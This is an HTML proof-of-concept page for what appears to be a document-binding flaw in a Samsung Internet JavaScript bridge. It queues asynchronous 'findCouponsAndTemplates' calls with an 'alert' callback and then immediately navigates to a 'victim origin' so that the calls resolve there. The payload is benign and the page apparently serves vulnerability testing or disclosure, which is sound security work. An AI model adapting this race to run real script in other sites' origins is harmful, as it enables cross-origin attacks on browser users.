Kindred document-binding test

<!doctype html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Kindred document-binding test</title>
<style>
  body { font: 16px system-ui; max-width: 42rem; margin: 4rem auto; padding: 1rem; }
  code { background: #eee; padding: .15rem .3rem; }
</style>
<h1>Kindred document-binding test</h1>
<p id="status">Waiting for the Samsung Internet test interface…</p>
<script>
(() => {
  const status = document.querySelector('#status');
  const key = 'kindred-document-binding-reloads';
  const bridge = window.KindredWebInterface;

  if (!bridge || typeof bridge.findCouponsAndTemplates !== 'function') {
    const reloads = Number(sessionStorage.getItem(key) || 0);
    if (reloads < 2) {
      sessionStorage.setItem(key, String(reloads + 1));
      status.textContent = 'Interface not attached yet; reloading once…';
      setTimeout(() => location.reload(), 1400);
    } else {
      status.textContent = 'Interface unavailable. This page is inert in other browsers.';
    }
    return;
  }

  sessionStorage.removeItem(key);
  status.textContent = 'Queued benign asynchronous calls; navigating to the victim origin…';
  for (let sequence = 0; sequence < 8; sequence++) {
    bridge.findCouponsAndTemplates(
      location.hostname,
      JSON.stringify({ url: location.href, sequence }),
      'alert',
      41
    );
  }

  const marker = Date.now();
  setTimeout(() => {
    location.replace(`https://example.com/?kindred_remote=${marker}#document-binding-test`);
  }, 0);
})();
</script>